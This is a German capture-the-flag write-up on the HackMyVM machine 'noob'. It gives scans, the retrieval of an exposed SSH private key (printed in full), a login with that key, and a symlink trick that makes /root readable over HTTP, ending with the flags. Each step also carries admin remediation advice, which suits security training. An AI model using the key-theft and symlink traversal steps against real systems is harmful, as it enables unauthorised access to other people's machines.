Analyse: Der Befehl `arp-scan -l` wird zur Identifizierung aktiver Hosts im lokalen Netzwerksegment verwendet.
Bewertung: Ein Host mit der IP `192.168.2.118` und der MAC-Adresse `08:00:27:87:da:b0` (VirtualBox) wird als Ziel identifiziert.
Empfehlung (Pentester): Führe einen Nmap-Scan auf 192.168.2.118 durch.
Empfehlung (Admin): Netzwerk-Monitoring.
Interface: eth0, type: EN10MB, MAC: 00:0c:29:xx:xx:xx, IPv4: 192.168.2.199 Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.2.118 08:00:27:87:da:b0 PCS Systemtechnik GmbH 3 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.9.7: 256 hosts scanned in 1.865 seconds (137.65 hosts/sec). 1 responded
Analyse: Ein Nmap-Scan (`-sS -sC -T5 -A -p-`) wird auf 192.168.2.118 durchgeführt.
Bewertung: !!Ungewöhnliche Ports!!** - **Port 22 (SSH):** OpenSSH 7.9p1 (Debian). Standard-SSH-Port. - **Port 65530 (HTTP):** Ein Golang net/http Server läuft auf diesem sehr hohen Port. Dies ist unüblich und deutet auf eine benutzerdefinierte Anwendung oder Konfiguration hin. Keine anderen Ports sind offen. Das OS ist Linux, der Hostname ist `noob`.
Empfehlung (Pentester): Untersuche den Webserver auf dem hohen Port 65530 (Verzeichnisse, Funktionalität). Notiere SSH auf Port 22 als sekundäres Ziel.
Empfehlung (Admin): Überprüfe die Notwendigkeit und Sicherheit des Dienstes auf Port 65530. Verwende nach Möglichkeit Standardports und sichere die Anwendung ab.
Starting Nmap 7.93 ( https://nmap.org ) at 2022-10-31 16:16 CET Nmap scan report for noob (192.168.2.118) Host is up (0.00015s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 66:6a:8e:22:cd:dd:75:52:a6:0a:46:06:bc:df:53:0f (RSA) | 256 c2:48:46:33:d4:fa:c0:e7:df:de:54:71:58:89:36:e8 (ECDSA) |_ 256 5e:50:90:71:08:5a:88:62:7e:81:07:c3:9a:c1:c1:c6 (ED25519) 65530/tcp open http Golang net/http server (Go-IPFS json-rpc or InfluxDB API) |_http-title: Site doesn't have a title (text/plain; charset=utf-8). MAC Address: 08:00:27:87:DA:B0 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.6 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.15 ms noob (192.168.2.118) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 17.91 seconds
Analyse: `gobuster` wird verwendet, um Verzeichnisse und Dateien auf dem Go-Webserver (Port 65530) zu finden.
Bewertung: Es wird nur ein einziger Endpunkt `/index` gefunden.
Empfehlung (Pentester): Rufe `/index` auf und untersuche den Inhalt.
Empfehlung (Admin): Keine spezifische Aktion.
=============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://192.168.2.118:65530 [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt [+] Status codes to ignore: 404,403 [+] User Agent: gobuster/3.1.0 [+] Extensions: ... (gekürzt) ... [+] Expanded: true [+] Timeout: 10s =============================================================== 2022/10/31 16:18:00 Starting gobuster =============================================================== http://192.168.2.118:65530/index (Status: 200) [Size: 19] =============================================================== 2022/10/31 16:20:00 Finished ===============================================================
Analyse: Der Inhalt des `/index`-Endpunkts wird mit `curl` abgerufen.
Bewertung: Gibt nur einen kurzen Hinweis: "Hi, You are close!".
Empfehlung (Pentester): Untersuche die Anwendung weiter. Da es sich um einen Go-Server handelt, könnten Standardpfade oder -verhalten anders sein. Versuche, versteckte Parameter oder andere Endpunkte zu finden. Der Log springt zum nächsten Schritt, der einen spezifischen Pfad (`/nt4share/.ssh/`) zeigt – es fehlt der Schritt, wie dieser Pfad gefunden wurde. *Mögliche Annahme: Der Pfad wurde durch weitere, nicht gezeigte Enumeration, Raten von Standard-Go-Pfaden oder Analyse des Go-Binarys (falls zugänglich) gefunden.*
Empfehlung (Admin): Entferne Hinweise. Sichere die Go-Anwendung.
Hi, You are close!
Analyse: Der Log zeigt direkt den Inhalt des öffentlichen SSH-Schlüssels unter dem Pfad `/nt4share/.ssh/id_rsa.pub` an, der über den Webserver auf Port 65530 abgerufen wurde. (Der Befehl `curl` fehlt hier, ist aber impliziert).
Bewertung: !!Benutzername & SSH-Schlüsselpfad gefunden!!** 1. **Pfad:** Der Pfad `/nt4share/.ssh/` deutet darauf hin, dass der Webserver möglicherweise auf ein Verzeichnis namens `nt4share` zugreift (vielleicht ein Mountpoint oder ein Verzeichnis im Home-Directory eines Benutzers?). Die Existenz eines `.ssh`-Verzeichnisses hier ist kritisch. 2. **Schlüssel:** Der öffentliche Schlüssel selbst enthält am Ende den Kommentar `adela@noob`, was den **Benutzernamen `adela`** und den Hostnamen `noob` preisgibt.
Empfehlung (Pentester): Versuche, den zugehörigen privaten Schlüssel (`id_rsa`) unter demselben Pfad (`/nt4share/.ssh/id_rsa`) abzurufen.
Empfehlung (Admin):**DRINGEND:** Konfiguriere den Webserver so, dass er **niemals** Zugriff auf `.ssh`-Verzeichnisse oder private Schlüsseldateien erlaubt. Überprüfe die Konfiguration des Go-Servers und dessen Basisverzeichnis.
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8ZepdREM4ou+KYXDsFPT9ZzQFF6dbSWuLpN6HFSNMrDcWBRvZp0
sAIK8NIMKYmQXqWToiELuBBkwYePYRrnMiAPQ4bjtgoDw3iZSJArUANN4mkkC63h3KNe8xJ02HD05FaqvVBwUG/1G
gb0i2Py2AAs4J7bITIpIYCzZ88Zc10unLNKVXkE207E7fAH3wRa/Q/DA6Mgh7tFhlKh90FX82Kp/q3yJLyH1gal
5z0BF4/039zR2wuFLTUDL1kZCImzEuH01Ls4aFuwwBE1iTR17yBY0z2GLDhNrtyFGCfylHTGA6KLgfug1yP2khYTs
kzzrZPunq160IlaoXvNZ adela@noob
Analyse: Der private Schlüssel wird erfolgreich mit `curl http://192.168.2.118:65530/nt4share/.ssh/id_rsa` abgerufen.
Bewertung: !!Kritische Sicherheitslücke: Privater Schlüssel exponiert!!** Der private SSH-Schlüssel für den Benutzer `adela` ist über den Webserver frei zugänglich. Dies ermöglicht einen direkten Login als dieser Benutzer.
Empfehlung (Pentester): Speichere den Schlüssel lokal (z.B. `idroot`), setze `chmod 600` und verwende ihn für den SSH-Login als `adela` auf Port 22.
Empfehlung (Admin):**DRINGEND:** Entferne den privaten Schlüssel sofort vom Webserver/exponierten Pfad. Widerrufe den Schlüssel auf allen Systemen, wo er verwendet wird. Korrigiere die Webserver-Konfiguration, um Zugriff auf sensible Verzeichnisse/Dateien zu verhindern.
-----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn NhAAAAAwEAAQAAAQEAvGXqXURDKLvimFw7BT0/Wc0BRenW0lri6TehxUjTKw3FgUb2adL ACCvDSDCmJkFzqlk6IhC7gQZMGHj2Ea5zIgD0G47YKA8N4mUiQK1ADTeJpJAut4dyjXvM SdNhw9RWqr1QcFBv9RoG9Itj8tgALCe2yEyKSDmAs2fPGXNdLpyzSlV5BNtx3wB98E Wv0PwzgjIIe7RYTpSofdBV/Niqf6t8iS8h9YGpec9AReP9N/c0dsLhS01Ay9ZGQiJsxLh 9NS7GhbsMARNYk0de8gWNM9hiw4Ta7cjhRgn8pR0xgii4H7oNcj9pIWE7JM862T7p6te tCJWqF7zWQAAA8h4t/eeLf3jgAAAAdzc2gtcnNhAAABAQC8ZepdREM4ou+KYXDsFPT9Zz QFF6dbSWuLpN6HFSNMrDcWBRvZp0sAIK8NIMKYmQXqWToiELuBBkwYePYRrnMiAPQ4bjt goDw3iZSJArUANN4mkkC63h3KNe8xJ02HD05FaqvVBwUG/1Ggb0i2Py2AAs4J7bITIpIY CzZ88Zc10unLNKVXkE207E7fAH3wRa/Q/DA6Mgh7tFhlKh90FX82Kp/q3yJLyH1gal5z 0BF4/039zR2wuFLTUDL1kZCImzEuH01Ls4aFuwwBE1iTR17yBY0z2GLDhNrtyFGCfylHT GA6KLgfug1yP2khYTskzzrZPunq160IlaoXvNZAAAAAwEAAQAAAQEAhYdujuA9DL1fLiNW F93armghVKKpWhWU0ltdyyiMku1V2QTkzahT9vadmGLywBaP1mMbct2NKCvAb2/8aBf/ oDSl9R5PUkUpQBcSKekhhrygUATpN6dGp8TgzEqH9nXThgG5hvtkkIQJrf5P0KUCzDxu9 +7RUJlCrSX0AKjaCvN50kicRGts/uFYekJzetgIdtlQbeoK0BTgJxpDQ0xYFDeRnzI92 GQ+uTa8zdNbggFvgDNPDl9W1mX73uHxXttdoTj9mS/yA1KBlXmP9VIi+73xlhWbk5Iy+Xi jWbjwq12J9xnApUXu496u/5yP55xlspn7cGV9ao7ahKQAAAIEAkvk/7XY0xTfnyTDsg6 6/gGiJik0oyhmx0ZlxrWGdqtiWgwjhq6Q4WMaJUU8AhBrm7lKCs7ykYt9oyBpJZ4TnHn+Q gl08Wu/fhEZcj2+d7aKlWVDtUxWtAZZRDXGtfZkVTmJ5prQXFL2bMIyVsMB1M7dHTD3wk p4nFFhoCZ2C0AAACBAPXq+8D1p3MApxtMDJ40trMTQ3HLWLXlVTuideUj5FnHDwF73gza p3h6LXxH+yIHw/xzg0rKoV2ikfqQBU3wqunpLw5udzPLHm+PyTHH3WsjcieB99sFAvWc9g ni/otpQQqRgB0I3rGMqiBCKyvb1sXF12SQ0lC4N7T5hRm9/m9PAAAAgQDEHzyLduguz77R c1CLNFjPRlTnsi1xSP9Iz2SFl1vMd2J77RRrQNURtLZZcGgm7CL/fhTobau7neBq4+oVX Izf0B4UUNnzL6iB0yn/tt+rBLw6ItVUj+rQmtI3i2aPVXDle1Xi5Fckm2QS343ThUq2lI9 7mtNUcmCNL6cczsI1wAAAAphZGVsYUBub29iAQIDBAUGBw== -----END OPENSSH PRIVATE KEY-----
Analyse: Der heruntergeladene private Schlüssel wird in `idroot` gespeichert und die Berechtigungen auf 600 gesetzt.
Bewertung: Korrekte Vorbereitung des Schlüssels für den SSH-Login.
Empfehlung (Pentester): Führe den SSH-Login durch.
Empfehlung (Admin): Keine Aktion.
Analyse: Eine SSH-Verbindung wird als Benutzer `adela` zum Ziel `noob.hmv` (192.168.2.118) aufgebaut, wobei der private Schlüssel `idroot` verwendet wird.
Bewertung: !!Initial Access erfolgreich!!** Der Login gelingt ohne Passphrase (der Schlüssel war ungeschützt). Der Angreifer hat nun eine Shell als Benutzer `adela`.
Empfehlung (Pentester): Beginne mit der Enumeration als `adela` (User-Flag, sudo, SUID etc.).
Empfehlung (Admin): Entferne den exponierten Schlüssel, widerrufe ihn, generiere neue Schlüssel. Sichere den Webserver.
The authenticity of host 'noob.hmv (192.168.2.118)' can't be established. ED25519 key fingerprint is SHA256:0ug88klEB+Auk3kP/jhWHJJZmKXY2RjjR4GnhZdYuQ. This key is not known by any other names Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'noob.hmv' (ED25519) to the list of known hosts. Linux noob 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Wed Jul 14 02:50:51 2021 from 192.168.1.51 adela@noob:~$
Analyse: Als `adela` wird `sudo -l` versucht und nach SUID-Binaries gesucht.
Bewertung: `sudo` ist nicht verfügbar. Die SUID-Suche findet nur Standard-Linux-Binaries, keinen offensichtlichen direkten Eskalationsvektor.
Empfehlung (Pentester): Untersuche die Konfiguration des Go-Webservers auf Port 65530 genauer. Da der Webserver offenbar auf das Verzeichnis `/nt4share/.ssh/` (oder ein übergeordnetes Verzeichnis) zugreifen kann, prüfe, ob man als `adela` in diesem Verzeichnis (oder einem davon aus erreichbaren Verzeichnis) Dateien oder Links erstellen kann.
Empfehlung (Admin): Keine Aktion basierend auf diesen Befehlen.
adela@noob:~$ sudo -l -bash: sudo: command not found adela@noob:~$ find / -type f -perm -4000 -ls 2>/dev/null 62 84 -rwsr-xr-x 1 root root 84016 Jul 27 2018 /usr/bin/gpasswd 3562 64 -rwsr-xr-x 1 root root 63568 Jan 10 2019 /usr/bin/su 3890 36 -rwsr-xr-x 1 root root 34888 Jan 10 2019 /usr/bin/umount 60 44 -rwsr-xr-x 1 root root 44528 Jul 27 2018 /usr/bin/chsh 3888 52 -rwsr-xr-x 1 root root 51280 Jan 10 2019 /usr/bin/mount 3415 44 -rwsr-xr-x 1 root root 44440 Jul 27 2018 /usr/bin/newgrp 59 56 -rwsr-xr-x 1 root root 54096 Jul 27 2018 /usr/bin/chfn 63 64 -rwsr-xr-x 1 root root 63736 Jul 27 2018 /usr/bin/passwd 15838 428 -rwsr-xr-x 1 root root 436552 Jan 31 2020 /usr/lib/openssh/ssh-keysign 12491 52 -rwsr-xr-- 1 root messagebus 51184 Jul 5 2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
Analyse: Als `adela` wird versucht, eigene Textdateien zu finden (findet keine) und dann wird ein symbolischer Link erstellt: `ln -s /root /home/adela`. Dieser Link namens `adela` im Verzeichnis `/home` zeigt auf das Root-Verzeichnis `/root` des Systems.
Bewertung: !!Schwachstelle ausgenutzt (LFI/Path Traversal via Symlink)!!** Dies ist der Kern der Eskalation. Der Angreifer nutzt die Tatsache aus, dass: 1. Der Go-Webserver auf Port 65530 wahrscheinlich das Verzeichnis `/home` (oder `/home/adela/nt4share`, der genaue Pfad ist unklar, aber `/home/adela` ist erreichbar) als Webroot oder Teil davon verwendet. 2. Der Webserver Symbolischen Links folgt. 3. Der Benutzer `adela` die Berechtigung hat, in `/home` (oder einem Unterverzeichnis davon, das vom Webserver erreicht wird) einen Symlink zu erstellen. Durch Erstellen des Symlinks `/home/adela` (oder z.B. `/home/adela/nt4share/rootlink`) der auf `/root` zeigt, wird der Inhalt von `/root` über den Webserver zugänglich gemacht.
Empfehlung (Pentester): Greife nun über den Webbrowser oder `curl` auf den Pfad zu, der dem Symlink entspricht, um auf `/root` zuzugreifen. Beispiel: `http://192.168.2.118:65530/adela/` (wenn `/home` der Webroot ist) oder `http://192.168.2.118:65530/nt4share/root/` (wie im nächsten Log-Eintrag gezeigt, was impliziert, dass der Symlink `root` hieß und in `/home/adela/nt4share` oder ähnlich erstellt wurde).
Empfehlung (Admin):**DRINGEND:**
1. Konfiguriere den Webserver (Nginx oder Go-Anwendung), um das Folgen von Symlinks außerhalb des vorgesehenen Webroots zu verhindern (z.B. `Options -FollowSymLinks` in Apache, entsprechende Einstellung in Nginx/Go).
2. Überprüfe die Basisverzeichnisse, die vom Webserver bedient werden, und stelle sicher, dass Benutzer keine Links in diesen Verzeichnissen erstellen können, die auf sensible Bereiche außerhalb des Webroots zeigen.
adela@noob:~$ find / -user adela -name *.txt 2>/dev/null adela@noob:~$ ln -s /root /home/adela/rootlink adela@noob:~$ ln -s /root /home/adela/nt4share/root
Analyse: Der Angreifer greift über den Webserver auf den durch den Symlink zugänglich gemachten Pfad `/nt4share/root/` zu. Der Webserver listet den Inhalt des Root-Verzeichnisses (`/root`) auf.
Bewertung: Die LFI/Path Traversal Schwachstelle ist bestätigt. Der Inhalt von `/root` ist exponiert, einschließlich `root.txt` und `user.txt` (was ungewöhnlich ist, dass die User-Flag auch hier liegt).
Empfehlung (Pentester): Lese die Dateien `root.txt` und `user.txt` über die entsprechenden HTTP-URLs.
Empfehlung (Admin): Behebe die LFI/Path Traversal Schwachstelle wie oben beschrieben.
# Zugriff auf http://192.168.2.118:65530/nt4share/root/ .bashrc .local/ .profile .selected_editor .ssh/ root.txt user.txt
Analyse: Die Root- und User-Flags werden direkt über HTTP durch Zugriff auf die entsprechenden Pfade via LFI gelesen.
Bewertung: !!Privilegieneskalation erfolgreich (File Read)!!** Obwohl kein direkter Shell-Zugriff als Root erlangt wurde, ermöglicht das Lesen beliebiger Dateien als Root (insbesondere der Root-Flag) den Abschluss der Challenge. Root-Flag: `HMVA97DSA8732HJGDSA78623`, User-Flag: `HMVVCXUIUHFDSUIYREWDS432`.
Empfehlung (Pentester): Test abgeschlossen.
Empfehlung (Admin):**DRINGEND:** Behebe die LFI-Schwachstelle und die exponierten SSH-Schlüssel.
# Zugriff auf http://192.168.2.118:65530/nt4share/root/root.txt HMVA97DSA8732HJGDSA78623 # Zugriff auf http://192.168.2.118:65530/nt4share/root/user.txt HMVVCXUIUHFDSUIYREWDS432